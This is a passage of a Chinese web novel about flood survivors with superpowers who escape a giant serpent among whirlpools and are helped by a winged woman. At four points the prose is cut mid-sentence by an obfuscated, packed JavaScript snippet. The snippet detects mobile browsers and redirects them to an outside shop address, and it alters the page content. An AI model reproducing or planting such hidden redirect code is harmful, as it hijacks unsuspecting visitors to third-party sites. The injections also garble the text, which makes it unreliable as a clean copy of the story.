而且周莹年纪小，或许也更好接近。 打定主意，丘莲在船上几次行动后换了位置，从沈金兰身边，挤到了周莹那儿去。 周莹看了看她，抱着自己的腿不知道在想些什么。 丘莲上船不久即交出了自己身上的东西，但萧顺清和苏凤晚并没有全都拿走，她还剩下一部分糖。 洪水来之前，她囤了不少，最近也是靠吃糖挺过来的。 丘莲笑着，将一个橙子味棒棒糖递给她。 “你要吃吗？” 周莹其实并不孤僻，大家抬头不见低头见，她又不讨厌丘莲，不至于不接受她的糖。 周莹点头致谢，只是没有吃那棒棒糖的意思，也不想聊天，只缩在自己的角落里，安静地看着外面汹涌的水浪。 丘莲不急，也陪在对方身边。 萧顺清暂时收了一部分精力，任由船被水流冲向下游，只控制船的平衡，让上面的人不会感觉到要飞起来。 她在看着国家地图，琢磨着下一步要去哪儿。 洪水来临，大家都是往高海拔的地方跑。 山地丘陵不是好去处，暴雨冲刷会有塌房泥石流不说，也不知道这水究竟涨到什么时候能停。 那些盆地或者平原上的山被淹了的也不少。 那高原呢？ 26.山脉 地形与海拔，天然将这个国度划分为不同的阶梯。 沿海地区海拔低，几乎是在全球暴雨来临之际就已经遭了殃。 海水倒灌就让几个经济发发达的城市苦不堪言，后来慢慢是靠近内陆的区域。 她们没有专业的工具，也不知道目前的海平面高度究竟是多少，第一阶梯是否完全被淹没。 但是第二阶梯的平均海拔更高，约莫在2000米到3000米，也许还有大片陆地。 人类在漫长的进化中从海洋爬上陆地，她们也更希望能够回到陆地上生活。 萧顺清摊开那副地形图，征求众人意见。 “我们目前在S省，向北走，会进入布鲁高原，也就是W省的范围，我觉得高原地带可能还有陆地，怎么样，要试试吗？” 没有人有意见，只有陈师望提出一个疑问。 “为什么不直接向西走，米诺高原的海拔更高，肯定有陆地在。” 萧顺清也跟众人解释道：“米诺高原百分之九十九没有被淹没，但是我考虑到这条线路原本地形并不好走，山地断崖丛生，一路上水流的流向流速更不好把控，危险程度更高。” 提出疑问的陈师望理解了。 别说是现在这样的环境，和平时期进入米诺高原都很危险，高原反应是一方面，那样高海拔的地区，交通极其不便，还处于地震带上，修路都很难保证安全。 她们这艘小船，还是不要挑战世界级难题了。 布鲁高原的情况显然更好些。 众人纷纷同意。 船的行进需要一个目标，人的目标则是好好活着。 萧顺清调整了船的方向，让这艘船再次逆流而上。 毕竟，她们要去的是更高海拔的地方。 众人对布鲁高原之行很有信心。 S省处于二、三阶梯交界，地势海拔也算是靠近高原水平，目前的城市内部，地面肯定是被淹没了，但那些建筑物还露出水面。 稍低海拔的S省情况如此，布鲁高原应该会更好一些。 沈金兰问萧顺清：“你爸妈还有姐姐，可都在B市……” 萧顺清心里也是一痛，但她很快也觉得需要借此机会跟船上的众人说清楚。 “奶奶，B市……很早就开始组织撤离，”她没有说应该早就被淹了，“在这样的情况下，国家如果想要迁移幸存者，应该也是往海拔更高的地方去，或许我们能在布鲁高原再见呢？” 她们已经定好了要去布鲁高原，所有人都同意。 萧顺清不可能朝令夕改，就算这船是她的，但这样变卦的小事一多，或者说，她坚持要救人的次数一多，人们心里难免会有裂痕。 就算那是她萧顺清的家人又怎么样，不是只有她的家人在受困。 况且，如果她们真的活着，迟早也会向着更高海拔的地方前进。 沈金兰当然想要一家人团聚，但是孙女的安慰也勉强让她收心。 去一个幸存者都有可能去的地方，也许还有希望。 沈金兰没有动摇萧顺清，其他人也悄悄松了口气。 船上的生活渐渐安定下来。 在所有人努力将船上的日子过得更好的日子里，意外忽然来临。 丘莲生病了。 洪水来临这么久，这里所有人都幸运地没有生病，但是丘莲却在上船两天后发起高热，上吐下泻。 苏凤晚凭着自己浅薄的医学常识猜测：“是不是吃了不干净的东西？” 洪水泡过的食物和水是有细菌的，在安稳年代，这些食物都会被集中处理掉，就连淹过的建筑也要消杀。 因为死在水里的生物太多，洪水可以说是瘟疫传播的一大利器。 但是除了丘莲，所有和她一样吃了这些食物的人都没有生病。 条件有限，苏凤晚只能找到退烧药给她吃下。 萧顺清造出一间隔离屋，让丘莲待在里面，周莹和她随时沟通。 “难道我们也要把洪水污染了的食物处理掉？” 这是最安全的办法。 但是没人舍得。 她们所有人都能吃，沈金兰因为是老人家，得到一定特殊待遇，大多数时候吃的都是红薯或者其他优质食物。 但是偶尔也会吃最初带回来的饼干。 身体显然更弱的沈金兰都没有出问题。 “也许是异能。” “也许……我也觉得应该是异能改善了我们的体质，表面上看不出来，但实际上却更加能够适应洪水这样的天灾。” “适应，也许异能就是人类适应天灾的一种表现方式呢？我们的身体早就在寻找适应洪水的方向，身体内部也有更多我们发现不了的进化。” 众人渐渐接受了这个说法，她们偶尔也会觉得头昏脑涨，但那是因为一直穿着湿哒哒的衣服或者弄湿了身体，产生了一点点感冒症状。 会因为洪水带来的其他大病，她们却没有展露出来。 这是个好消息，那些吃的她们可以正常食用。 但也是个相对的坏消息，她们不知道该怎么救丘莲。 丘莲的身体没有进化，所以会被洪水带来的疾病打倒。 她们只能默默期待，丘莲能够挺过来。 无事可做的时候，她们便专心练习异能，越来越多的事证明，异能能够让她们活得更久，更好。 就连沈金兰也在练习收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715298|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放防护罩。 她的防护罩和陈师望放大的塑料瓶有相似之处。 水火不侵，但不会隔绝空气。 也不能只开一个小口，拿取东西什么的。 召唤出来，就是一个完整的透明球体，一旦收回异能，就会立刻消散。 球体圆滚滚，甚至不能套上绳子之类的。 目前只能将自身和范围内的其他东西包裹，人也是可以的。 萧顺清督促沈金兰练习，她也就偶尔放罩子出来，毕竟她这个占地方。 这么多人里，最先升级的是苏凤晚。 她练习得很勤奋，甚至从萧顺清时时刻刻操控船抵抗洪流得到灵感，将手放在洪水里。 虽然表面上看不见她用异能净化了水，但实际上，她的手没离开水面，就是一直在使用异能。 船上的位置不足以再搞出一个升级舱，沈金兰和周莹就负责照看几乎昏迷过去的苏凤晚。 有异能的人当然都想尽快升级。 萧顺清也不例外。 但也许是这一次升级需要的“经验”更多，苏凤晚都升级了，她却迟迟没有动静。 远处，棕黄色的水面上，几座大山毅然伫立，任凭洪流冲刷，似乎也不见消减。 “这么高的山，应该快到W省了？” 陈师望和萧顺清搭话。 萧顺清看着地图，也不太能确定：“这应该是S省和W省交界的淮山。” 淮山其实是一条山脉，并非独峰。 此时眼前延绵数百里的山峰，成功挡住她们去路。 “要绕道了。” 她打算开一条弧线，绕过淮山。 山地地形复杂，淮山作为重要的地理分界线，不仅有着重要的地理意义，在自然界本身也足够独特。 萧顺清看着前方不明缘由形成的大大小小旋涡，感觉到头疼。 过不去。 这漩涡太密集，而且看着就危险，旁水而居的人们都知道，那些小漩涡，可能更加危险。 当然，大的漩涡，也是一看就不安全。 萧顺清当即再次调转方向，绕去另一边。 没有漩涡，甚至连巨浪也没有。 诡异地安静。 萧顺清下意识竟然觉得这里更加可怕。 四周都是流动的水，怎么偏偏这里肉眼可见的平静。 好像仅仅是一条颜色比较深的河流而已。 萧顺清：“把面包变硬，扔过去看看。” 陈师望很快将一块面包变成砖头的硬度，李自的力气大，由他来扔。 “砖头”像极了投掷饼划出完美弧线，悄无声息地没入水面，连水花都没溅起多少。 27.漩涡 陈师望刚想说没什么问题，就见萧顺清几乎是逃一样的速度驶离这里。 他因惯性踉跄一下：“怎么了？不是没问题吗？” 萧顺清退回到滚滚流动的水面，面容冷冽。 “没问题才是大问题，哪有那么安静的洪水。” 动也不动，与声浪涛涛的洪水界限分明，好像是独立于次方世界的另一个水体。 这样的水面，就算是洪水来临前，她也绝对不会靠近。 与其试探这种未知的危险，她宁愿再绕远一点，或者干脆去闯闯那些漩涡丛。 水底下，一个又粗又长的黑影似乎一扫而过，李自惊得翻身坐起来，看着水面。 但那黑影似乎是他的错觉，压根没有再出现。 陈师望害怕了，结结巴巴问：“你，你又看见了什么？” 李自摇摇头：“没什么，可能是看错了，但是，还是再退一点吧。” 萧顺清也正有此意，小船飞速后退，她想，既然淮山这一带都有危险，那她再绕远一些也不是不可以。 然而，她开出至少一里地，忽然发现水面又变得不对劲了。 预兆是船身猛地前冲，让船上的人都体会了一把屁股砸得生疼的感觉。 水底的阻力似乎一瞬间消失了，让她的船失去平衡。 萧顺清手撑在船头，几乎是想要贴在水面上看，但是她什么也没看出来。 这要是底下没东西就有鬼了！ 而且，那东西是缠上她们了吗？刚刚明明在淮山旁，现在她们逃到这儿了，这东西还追上来了？ 萧顺清停止了对船的控制，随波逐流的船一动不动，和船底的水如初一辙。 好像是在在风平浪静的海面停泊。 “怎么，怎么忽然不动了？” 萧顺清倒是想动，但她不确定自己会不会激怒对方，或者引起对方更多的注意。 论起速度，显然她是不如的。 众人的警惕使此刻如死一样安静。 忽然间，李自压低声音警示：“看水面。” 她们低头看去，水底，不知道是什么东西，长长一条，水面折射下，粗壮得像是公路。 像是科幻巨作中的狂蟒之灾，她们有生之年从未见过这么粗壮的蛇。 最多，在科幻广告片里见过吧。 这到底是什么怪物？！ 如今的世界不能以常理推论，她们都能有异能了，水里的那些东西难道不能进化吗？ 这种控水的能力……真的是灵异事件吧！ 似乎害怕惊扰了底下的东西，萧顺清小声：“奶奶，你的防护罩，一次能装几个人？” 她想赌一把。 沈金兰没有试过。 她的防护罩，严格来说并没有承重限制，它限制的是空间。 萧顺清思考片刻，还是让所有人都挤作一团，就连丘莲也被她们抱出来，捂住口鼻，所有人紧紧锁住彼此。 透明的球体以沈金兰为中心展开。 为了利用球体每一寸空间，两个失去自主能力的人被她们扛在头顶，剩下几个，都感觉身体都快被挤扁了。 进入球体之后，为了贴合球的曲面，硬凹出来的身体曲线让行动极其不便。 好消息是她们从内部打不开球体，外部也无法侵入。 但坏消息是，可能不用外界入侵，她们自己就能搞死彼此。 萧顺清觉得快要无法呼吸，拍拍怼在脸上的胳膊肘，将其挪到下巴，诚恳道： “留条缝。” 艰难说了这么三个字，胳膊主人听出萧顺清的声音，刚想挪一下，就被萧顺清的咳嗽声制止了。 “咳，我觉得你还是先住手。” 现在胳膊锁她喉了。 拥挤得好像地铁车厢，丘莲都被迫醒了过来，艰难在众人头顶，用嘶哑的嗓音道：“谁顶我肺……” 现在的姿势，萧顺清单脚踩在李自的右手，左手后伸勒住苏凤晚的左腿，脖子那里是周莹的右手；周莹个子矮，头顶一个人的后腰，左手高高穿过丘莲的腿弯缩减空间；陈师望背部呈现弧型，整个人脚不踩地，蹬在李自的腰上，手越过苏凤晚的脑袋，和萧顺清形成圆环。 难解难分，前途一片黑暗。 集装箱里的货物都没她们这么混乱。 “唧唧！” 对了，还有鸭子。 沈金兰在最中央抱着鸭子，好歹它们是不用挨挤了。 萧顺清面朝外侧，看着方向。 而所有人挤在防护罩，为安全着想，都憋着一口气，让自己的脂肪更加紧实，缩小占地空间。 僵硬着身体，不敢挪动分好，不然不知道自己的手脚踩着谁的要害，别没被怪物吃掉，自己人搞死了自己人。 “准备好。所有人，船头方向！” 萧顺清操控着船瞬间飞出几米远，防护罩里的人早有准备，向着同一个方向滚去，勉强对抗巨大惯性。 球体某个切面直径刚好与船舱最大处相同，卡在船舱中央后，没有再出现飞起离船的现象。 就在萧顺清快要冲破诡异水面时，粗壮的尾巴从水面下挥出！ 船底遭受重击，萧顺清无法抵抗那巨大的力道，精神一震，整个船都翻转起来。 防护罩里的众人，尖叫着经历人船分离。 球与船分道扬镳，球飞向一边，船却被那黑色大尾巴反复抽打，像是一个陀螺在水面旋转。 “我的红薯！” 苏凤晚醒了，因为球体不知道翻转了多少圈，此时她被所有人压在最下面。 不对，陈师望不知怎么的，成了她的垫背。 头部后仰，即使世界倒转，她也看得清楚，船上的被抽打飞溅出来的，不是她精心呵护的红薯又是什么！ 萧顺清咬牙前冲，球体翻转。 她们就跟被困在仓鼠笼里的仓鼠一样，只能在球内活动让球体滚动起来。 此时萧顺清在下，苏凤晚和陈师望在上，李自在左，周莹勉强挤到最右。 “调整位置，先别管船！” 那家伙更喜欢船，此时被吸引了注意力，正好她们能够借此机会逃脱。 “李自！” 李自用力向前倒去。 所有人再次感受到一阵天旋地转，很快球便转了身。 周莹虽然在右边，也在努力用身体控球，但作用微乎其微。 李自的巨力带着整个球翻转，具体方向由另外三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721293|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把控。 刚刚那怪物的大力，将她们抽到了接近漩涡的地方，旋转的水让人驾驭不住。 但比起之前那静得不起波澜的死水，这些漩涡都有些可爱起来。 她们必须在流动的水里小心避开所有的漩涡，还有怪物，争取逃出生天。 “左前！” 萧顺清和李自同时往自己的前方扑去，预想之中，两力结合，应该精准朝着左前方过去，通过漩涡之间的小道。 但是，李自的力气哪里是萧顺清能比得过的，就算单论体重带来的力，萧顺清都无法抗衡。 球体一往无前，没有丝毫□□，向着正前方而去了。 “等等，李自力气太大了！” “周莹！” “右！” “左拉一点左拉一点！” “前！” 想要控制在水面上行走的球体十分艰难，所有人都在跟球较劲。 萧顺清分出心神盯着漩涡，还要不时观察那怪物是否还在玩船。 但是很遗憾，她们运气一般。 除了漩涡屡次险些将她们吞没，那条速度缓慢的船似乎也对怪物失去吸引力。 粗壮的尾巴正在缓缓没入水中，萧顺清不知道它是不是冲着这边来的。 “苏凤晚看方向！” 萧顺清立刻全力将船驱动，让它绕着那根尾巴高速转圈。 重新运动起来的船起了作用，大尾巴又是猛地一抽，小船高高飞起，看着像个小黑点的船，怪物竟然还得意地用尾巴嘚瑟抖动起来。 萧顺清刚想松口气，就听见所有人尖叫，紧接着，她感觉到一阵头晕目眩，整个球体被卷入水里。 “救命要吐了！！” “这么小一个卷我们这么大的球，还有没有天理了！” 她们像是被扔进滚筒洗衣机一样，眼前的水不停旋转，好像是往下，又好像是往上。 “等等，那是什么？！” 萧顺清忽然看见漩涡外，水底似乎有个庞然大物，通体发黑的颜色，和那正在玩船的尾巴如出一辙。 她们隔着防护罩，模糊的水底，看见巨大得如山岙一样的层叠身躯。 这家伙，在水下还有这么大的真身？ 其他几人也发现了，但是震惊之余，她们来不及做出反应，就被漩涡卷到水面上。 重新浮出水面的那一刻，她们才意识到这些漩涡有的是互通的。 “漩涡的速度可比我们快多了。” 李自说出这话，其他人自然也明白他的意思。 用漩涡传送可以更快逃离这里，但是，这样真的安全吗？ 苏凤晚：“真的要闯漩涡？被卷进去的时候可是什么都做不了。” 萧顺清也在犹豫：“要是那东西在水底下发现我们了，那就是瓮中捉鳖了。” “这防护罩刚刚那么摔都没出事，况且这边的水并不平静，不管我们自不自愿，估计迟早都要被卷几回。” 终于，冒险的想法占据众人的思想。 她们看准了一个漩涡，身体一倒精准落入其中。 漩涡传送，长长的水带过去，她们瞬间被挪出几十米远。 没等兴奋降临，意外先到。 28.羽翼 防护罩落入一个漩涡，漫长的水底旅途，告诉了她们这次隧道有多么给力，她们被送得很远，但是…… 没入水面后，看清漩涡连接方向的几人哑然。 这漩涡是快，把人往怪物脸上贴的速度也快。 她们选错了漩涡，前功尽弃不说，还差点就被送到怪物脸上了！ 防护罩惊险地从怪物身侧滑过，水的扭曲光影让萧顺清险些以为自己要被直接传送进怪物嘴里。 “还试吗？” 苏凤晚发出灵魂疑问。 众所周知，但一个人问出“还X吗”，意思就是“别x了吧”。 “呵呵……”陈师望凄惨地笑笑，他都不好意思继续惨叫了，但是刚刚那大尾巴真的差点就抽到他脸上来。 起初李自提议时，萧顺清还是稳妥的心思，不太想冒险，现在却觉得没必要停下来。 “记住这个漩涡，别再重蹈覆辙就好。” 在水底，几次和那怪物打上半个照面，这次距离这么近，那怪物也没有在水底长出发射亮光的眼睛，似乎只对水面上的东西有兴趣。 她甚至对那怪物产生了没有必要的好奇心，想知道这究竟是什么东西。 “行吧。” 众人齐心协力，又找了一个漩涡钻进去，这次慢慢顺利起来。 她们就像是在走迷宫，还被加上行动不便的负面效果。 经过几次走进死路，又重新调整方向，来来回回，至少比她们在球内用自己的重量行动来得快。 而且出乎意料的安全。 每次浮出水面，萧顺清便会让那头的船开动一会儿，权当是陪那怪物玩了。 终于，她们跨过全部漩涡，也越过了淮山，到达另外一面。 而恢复正常的水面也让她们的速度再也无法自控。 球不断地打着转，浑浊的水浪将她们卷到高处，又在她们惊慌失措中落下。 “船怎么办？” 她们挤了一会儿，虽然这样是很不舒服，但也没有危险，转而就问起了真正能带她们摆脱困境的船。 萧顺清倒是能够让那边的船消失，然后凭空出现在她们身下，但是，那样的话，船上的东西都会掉进水里。 那可是她们辛苦侍弄的种植物。 就算是被那怪物折腾得掉很多，总还有些装在密封空间的。 她有些舍不得。 “再坚持一会儿，我把船开过来。” 盲开的感觉挺不顺利，对船的方位只有隐隐约约的把控，想要更清晰却无能为力。 控制着船行进，忽然，不知到底是往哪个方向的力跟她拉扯，她意识到那是漩涡，勉强算个好消息，船正在走她们来时的路。 但船开过漩涡，她们相隔的距离却没有明显缩减，她依旧看不见自己船的影子。 “咳，咳咳，这给我干哪儿来了，这还是国内吗？” 丘莲晕晕乎乎抬头，身体四处都动弹不得，因为都被抱着呢。 这种情况，也没有什么社交距离了，都是肉挤肉。 丘莲嘶哑咳嗽两声，从她身边冒出来一只手。 “喝点水。” 苏凤晚那只手摸索拍打，冒着嘶嘶的水汽。 “你怎么还带水进来了。”陈师望发出灵魂疑问。 苏凤晚笑了两声，因为肚子被人挤压着，笑声停停顿顿并不流畅。 “我升级了！我能把空气里的水凝结出来并且净化了！” 她的异能就是净化水，但是这该死的天气，空气湿度应该能有百分百吧。 她随便一挥，就能感受到自己手上的水在滴滴答答的流。 “滴我脖子上了。” 萧顺清出声。 苏凤晚是兴奋，但在下面的人就像是被没拧干的衣服浇头。 苏凤晚：“骚瑞骚瑞。来，丘莲，啊~” 丘莲：“唔，上，上面一点，水流我头发里了咳咳。” 又这么过了一会儿。 “萧顺清，船还在吗？” 萧顺清：“在，还挺远的，又撞到什么东西了。” 也不知道船的速度到底能不能赶上她们。 目前的情况就是，她们在前面滚，小船在后面追。 “各位，前面有个土坡！” 李自一嗓子将所有人喊得精神振奋起来。 有土坡好啊，她们就能停下来等等那船了。 在球里折腾了半天，终于将自己送到那土坡的尖尖之上。 “不能动了啊，一动就被水卷跑了。” 陈师望现在的姿势是倒立着的，闻言欲哭无泪：“大哥，你这是不是在考验我的平衡，是在考验我的命。” 苏凤晚：“这个姿势，好像风干腊肉。” 萧顺清安静了一会儿，脑子里不知怎么的，总觉得是不是有人该升级了。 那种感觉很微妙，但她觉得这应该是直觉。 思虑片刻，她问：“李自，你上次升级，是什么时候？” 这一路运球过来，出力最多的就是李自，按照使用频率，他是不是该升级了？ 李自倒是没什么感觉。 “还没到时候。” 这时，萧顺清耳边响起了一个声音，是周莹：“那个，我要升级了。” “你？”萧顺清惊讶出声。 “怎么了，谁？” “周莹，她要升级了。” “周莹怎么用的能力，她没跟我说话啊。” 周莹只来得及在萧顺清耳边落下一句：“好痛。” 就安静地昏迷过去。 丘莲摸索着腰子底下的脑袋，对方浑身紧绷，双目紧闭。 她便宣布道：“晕了。” 因为周莹痛得晕了过去，球的平衡重新调整一番，也没有什么大碍。 沈金兰的声音从最中间响起：“小周刚刚跟我说话呢，怕我看不见害怕，一直跟我说没事。” 众人这才明白为什么偏偏是周莹升级。 不知道等了多久，在用力的时候总觉得时间过得无比漫长。 尤其是倒立的陈师望。 “别一会儿又来个人升级，船都还没到。” 萧顺清也无奈：“要真那样，我们也只能先下水了。” 在这儿保持不动还要对抗水打来的浪和夹着雨的风，她们跟在高空杂耍一般，摇摇欲坠，稍不注意就是摔进滚滚洪流。 但她们心态还行，就算迟早会被浪打进水里，到那时候就听天由命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725578|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏凤晚看着水面，忽而惊喜道：“我好像看见船了，一个小黑点！” “是吗？太好了。” 萧顺清的朝向看不见那头，听见苏凤晚的话，立刻让船开得更快。 没有人在上面，压根不用管平稳度，于是那船开得飞起。 “等等！” 萧顺清猛地停住：“怎么？” “额，船后面……跟着那个大尾巴怪物。” 大家都被吓了一跳，球摇摇晃晃起来，哆嗦中，球的平衡又被破坏，她们惊慌失措地调整重心。 “它怎么还跟过来了！” 萧顺清无奈地让船又开始原地绕圈，时不时猥琐前行。 总不能任由船把大尾巴引过来吧。 “这可怎么办，你这船魅力也太大了。” 这么久了，那怪物还没有玩腻。 “实在不行还是让船消失吧。”萧顺清叹息，“就是实在可惜了我们捡的那些东西。” 她做着最后甩掉大尾巴的尝试，要实在不行似乎也只能放弃，任由大怪物追着船过来，她们就又会陷入最开始想要逃离的困境。 苏凤晚也许是升级后安全感上来了，都敢摸萧顺清的头了：“唉，大不了我们从头再来，额对不起李自。” 她摸到光头了。 “哈喽，各位。” 陌生的女人声音在身边响起，能够回头看的，都回头看去。 是个长着翅膀的女人。 她左腿微曲，似乎踩着风，姿态闲适舒展，仿佛只是路过。 翅膀挥动，带起的风刮得防护罩不稳。 苏凤晚手脚并用，大喊：“住手！你想把我们都扔进水里去吗！” “不好意思，悬停得扑棱两下子，我本来想在这儿歇歇脚。” 翅膀女人语气抱歉，但是翅膀扇动的速度并没有明显减缓，微风搅动空气，流动的风雨萦绕周围，却无法侵袭她的周围。 李自调整让球重新恢复平稳。 “你想干什么？” 突然出现在她们周围，还跟她们搭话，是有什么图谋吗？ 如今她们都被装在球里，就跟缩在壳子里的乌龟一般，没有任何反抗能力，只希望不要再出什么岔子。 “我就是看见一个球里装了这么老些人下来看看。不过你们对我长了翅膀这件事一点也不好奇？” 苏凤晚：“好奇什么。” 这除了异能还能有什么解释。 “这可是天神赐给我的能力！瞧瞧这宽厚有力的健硕翅膀，瞧瞧这密不透风的华丽羽毛！我就是这天地间最自由的鸟人！” 萧顺清嘴唇嗫嚅几下，很想说这是什么神经病。 李自/苏凤晚/丘莲：…… 陈师望：“哈，那您厉害。” 鸟人绕着她们飞了一圈，她们也都看见了她的长相。 短发，穿着简单，四肢健全，身材纤瘦，背后的翅膀极大，像只老鹰。 光从那张淳朴无辜的脸而言，看不出她刚刚发表了自己是鸟人的说法。 “你们怎么到这儿来的，我看你们都在球里，还以为是遇到危险了，但你们又不向我求救，好像不着急出来的样子。” 虽然智商不详，但是十分热心肠。 29.帮助 心地善良的鸟人十分关心挤在球内的众位。 “你们需要帮助吗？我真的可以帮你们啊，谁叫我是被上天选中的人，救你们也就是顺手的事儿。” 萧顺清看着她的翅膀，确实宽厚有力，不过思忖片刻便问道：“你能飞多快？” 鸟人勾起邪魅的笑容：“我是光，我是电，我是唯一的神话，你要多快，我有多快。” 那些雨水打在她的翅膀上，羽毛却没有沾湿。 “那你看见那边正在追船玩的大尾巴了没？” 她用下巴微微示意，鸟人疑惑向后看去，然后鸟躯一震。 “什么鬼东西，吓我一跳！” 她竟然也是第一次见这个，或许是刚到附近。 “你有信心帮我们引开那尾巴吗？要是成功了，我们必有重谢。” 鸟人说话听着中二，实际并不傻，她说了声先等等，便煽动翅膀，转瞬间飞上高空。 暴雨里，她像只不惧风雨的苍鹰，盘旋在那怪物头顶。 比起那巨大的怪物，她的身躯渺小得险些让人看不清楚，如同被风卷起来的无根浮木。 不久后，她飞了回来。 “OK，可以。那船是你们的？” 萧顺清点头承认：“那就先说报酬吧，你想要什么，不知道我们有没有。” 鸟人哈哈笑起来，甚至愉悦得双手叉腰：“那事成之后，你们一人欠我一句‘参见天使大人’！” 萧顺清：“……倒也不是不行。” “不行！坚决不行！”苏凤晚要崩溃了。 光是想想自己说那句话的场面，她就要把尬得把防护罩踢破了。 其余众人都是一言难尽的表情。 鸟人抱臂，鼻腔发出不屑的哼哼：“不识好歹，哼。” 苏凤晚：“只要船的速度大于我们被水冲走的速度不就好了吗？要不咱们还是直接跳下去吧。” 她语气生无可恋，陈师望啧了一声： “怎么就算了呢，人家天使大人愿意好心帮助，这简直就是不求回报的大好人嘛。” 萧顺清恍惚想起刚见到陈师望那会儿，对方似乎也有点中二。 陈师望说的话让鸟人开心了，也不纠结苏凤晚同不同意。 反正在她看来，萧顺清和陈师望两票，苏凤晚一票，剩下人不开腔，被她归为默认同意，承认她是天使大人的票数取得压倒性胜利。 鸟人展翅高飞，速度极快，几乎是眨眼瞬间，她便冲到那如高墙般的大尾巴前。 遥遥而视，又隔着水帘一样的雨幕，她们只能看见上下飞舞盘旋的黑点，以及逐渐被转移注意力的那只怪物。 水面震动，所有人都看见平静水面忽然蠕动起来，一个巨大的蛇形身影露出一截身躯，黑漆漆湿漉漉的皮肤表面，凹凸不平鳞片上镶嵌着密密麻麻的触须。 黑点引着那愉悦挥舞着的尾巴向着淮山的方向去了。 萧顺清立刻将船的速度开到最大，不多时，一片狼藉的船出现在防护罩前。 沈金兰解除防护罩，船将众人一个个精准接住。 她们一个接一个，驱动自己酸痛得像要骨折的身体狼狈爬上船。 “我的木耳！我的芋头！我的红薯！” 苏凤晚撑着手肘坐起来，步履蹒跚地冲向种植房。 幸好萧顺清之前已经将种植屋分离出来，密闭的空间内，她们稀少的农作物没有遭受太大损失。 里面的场景虽然一片混乱，但是东西没少。 两株芋头半死不活，经受了断筋的摧残，但这种水生植物遇水就能生根，应该还能救救。 红薯伤痕累累，好歹没有被撞得碎成八块，还有那几截木头，里面的木耳不知是否安好，好在东西都还在。 陈师望把浑身裹着泥，粘在墙上的螃蟹抓下来，叹息：“这泥还能要吗？” 应该说，这船看着都不像能要的样子。 那些动植物先放在一边不说，原本铺在船底上的稀泥现在糊满了整个种植屋，毫无落脚之处。 船外，公共的空间内也并不是干干净净，洪水本来就脏，泥水溅落在船内，只能说她们身上也没有多么干净，所以也不能嫌弃更多。 萧顺清看着自己的船成这幅样子，也觉得头疼：“先忍忍吧，幸好塑料瓶里东西还在。” 船左右两边载着的东西也像散黄的鸡蛋，但好歹没丢。 她们先打扫出能够落脚的地方，丘莲和周莹被安置在一旁，其他人则分工整理整个船体。 船并没有维持之前的速度，它重新规划了方向，慢慢悠悠开着。 这样的速度，当然并不是逃命，而是刻意在等人。 苏凤晚：“我们还真要等那个人过来，跟她说那句话啊。” 萧顺清：“毕竟帮了忙，等等看吧。” 要是她们这个速度行驶，那人还是赶不上，那就是上天注定。 她们也不能干在这儿等着，这里还是淮山的范围，那只大怪物也不知道会不会重新折返，当然是要远离这里。 约莫开出四五里的距离，人声从头顶传来。 “哈喽，我回来了！” 她招摇地落在船篷上，像竖起的船帆。 “那只大蛇怪玩累了，回水底下去了，你们该说什么感谢我？” 萧顺清：“还没请教你的名字，我……” “等等，”鸟人打断，十分不在意，“我不需要知道你们的名字，你们也只需要知道我是尊贵的天选之人，快点快点，我已经在你们这儿停留太久了，我自由的灵魂感觉到了疲惫。” 看来她的确热爱自由，完全没有任何深交的想法。 帮助她们，真的只是一时兴起罢了。 几人左右看看，除了昏迷的周莹，没有人逃过一劫，无奈的念出那句羞耻的话。 就连沈金兰都没幸免。 但她比苏凤晚看着自然多了，鸟人也没有在意这个老人家，反而是紧盯着苏凤晚，确认她有没有浑水摸鱼。 苏凤晚：“……” 艰涩说完那句话，苏凤晚重重叹了口气，她觉得自己牙都酸了，这算不算是历劫。 尽管鸟人自己只要了这么一句话作为交换，但萧顺清还是拿出了一包薯片和一瓶水。 “这个，也是报酬。” 鸟人摆摆手：“说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729363|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用，我有手有脚有翅膀，吃的可是天地精华，再见了！不用想我！” 她们甚至没有互换姓名，萍水相逢，女人脚一蹬，振翅而起，卷起的风将雨幕都刮跑一阵。 